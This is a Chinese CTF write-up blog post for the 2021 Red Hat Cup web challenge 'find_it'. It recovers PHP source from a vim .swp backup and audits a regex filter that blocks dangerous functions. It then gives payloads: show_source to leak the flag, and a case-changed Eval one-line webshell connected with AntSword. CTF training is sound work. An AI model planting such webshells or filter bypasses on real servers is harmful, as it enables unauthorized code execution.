CTFHub_2021-第四届红帽杯网络安全大赛-Web-find_it(.swp备份文件源码泄露、代码审计、正则表达式绕过)

访问robots.txt发现提示 1ndexx.php

直接访问不到,需要访问vim的保存的缓冲类型文件.swp,访问之后获取到源码。

/.1ndexx.php.swp

审计源码

<?php

#Really easy...

$file=fopen("flag.php","r") or die("Unable 2 open!");

$I_know_you_wanna_but_i_will_not_give_you_hhh = fread($file,filesize("flag.php"));


$hack=fopen("hack.php","w") or die("Unable 2 open");

$a=$_GET['code'];         //1.获取到code参数值

if(preg_match('/system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|\~|\^|\`|flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var|dump/',$a)){
    die("you die");
}                        //2.参数值内容过滤:正则匹配危险函数
if(strlen($a)>33){
    die("nonono.");
}                        //3.参数值长度过滤:字符串长度不能超过33
fwrite($hack,$a);        //4.将参数值写入hack.php
fwrite($hack,$I_know_you_wanna_but_i_will_not_give_you_hhh); //5.将flag.php内容写入hack.php

fclose($file);
fclose($hack);
?>

测试:输出phpinfo(),phpinfo不是过滤函数,传入之后访问hack.php可利用成功

/index.php?code=<?php phpinfo(); ?>

利用方式1:利用show_source高亮代码。审计源码时注意到,源码已经将flag.php内容写入hack.php,这样只需要高亮自己就可以查看源码得到flag了。(由于写入的是源码,因此我们直接访问hack.php无法看到。)

/index.php?code=<?php show_source(__FILE__);?>

利用方式2:大小写过滤,利用Eval绕过eval限制,成功获取webshell。

写入一句话木马

/index.php?code=<?php @Eval($_POST['aaa']);?>

蚁剑连接

拿到flag

posted @ 2022-02-18 15:14  zhengna  阅读(331)  评论(0编辑  收藏  举报